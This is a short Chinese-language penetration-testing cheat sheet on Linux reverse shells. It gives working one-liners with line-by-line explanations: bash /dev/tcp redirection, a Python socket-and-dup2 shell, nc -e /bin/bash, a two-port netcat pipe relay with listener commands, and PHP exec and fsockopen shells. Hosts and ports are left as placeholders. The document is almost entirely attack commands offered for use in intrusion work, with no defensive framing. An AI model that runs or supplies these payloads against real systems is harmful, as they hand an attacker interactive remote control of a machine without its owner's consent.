在渗透过程中,经常需要反弹shell,因此总结一下linux反弹shell的几种姿势:
bash -i >& /dev/tcp/ip/port 0>&1
bash -i 本地以交互模式打开一个bash
>& 输出重定向,将标准输出和标准错误输出都重定向到远程。
/dev/tcp/ip/port/ 建立一个socket连接到另一个机器上,即远程到其他机器。
0>&1 标准输入重定向到标准输出,但是此时标准输出已经重定向到了/dev/tcp/ip/port这个
文件,即自己的攻击机上,也就意味着输入和输出都在远程上了
/dev/tcp/ linux中一切都是文件,设备也是文件,打开这个文件,发出了一个socket调用,建立了一个socket连接
python -c //执行后面的代码
"import os,socket,subprocess; // 导入三个库os,socket,subprocess
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); //创建一个使用TCP的socket
s.connect(('ip',port)); // 执行connect函数连接到监听机器的IP和端口
os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2); //使用os库的dup2函数重定向。
p=subprocess.call(['/bin/bash','-i']);"
//建立一个子进程,传入参数-i,是bash以交互模式启动。
nc -e /bin/bash ip port
-e 在创建连接之后执行的程序,
在创建NC链接之后,执行本地shell(/bin/bash)即完成了反弹
如果NC禁用了-e参数,则可以使用linux管道符“|”协助进行反弹,但是攻击机需要打开两个终端,一个终端输入命令,一个终端输出结果
目标机:nc ip1 81 | /bin/bash | nc ip2 82
攻击机:nc -lvvp 81 nc -lvvp 82
管道符号“|” 可以将上一个命令的输出作为下一个命令的输入
将 ip1 81 传过来的命令交给/bin/bash执行,将结果传给 ip2 82输出
php -r 'exec('/bash -i >& /dev/tcp/127.0.0.1/4444 0>&1');'
php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i <&3 >&3 2>&3");'
php -r 直接运行php代码 php -f 运行指定文件
exec()函数用来执行一个外部程序
fsockopen(主机名称,端口号码,错误号的接受变量,错误提示的接受变量,超时时间) 打开一个网络连接或者一个Unix套接字连接
主机名称: 发送数据的目的地,接收数据的IP;
端口号: 发送数据的目的地的端口,接收数据的端口;
错误号接受变量: 建立socket不成功的时候返回的错误编号;
错误提示的变量: 是错误的时候返回的错误提示信息;
超时时间: 就是post数据之后如果对方没有回应信息,等待的最长时间。
socket也是,不但可以用于网页传输,还能传送其他东西,可以做聊天工具、下载器、ftp……几乎可以用网络传送的东西都能用它写出来
fsockopen 是比较底层的调用,属于网络系统的socket调用。fsockopen 返回的是没有处理过的数据,包括数据的长度数据内容和数据的结束符。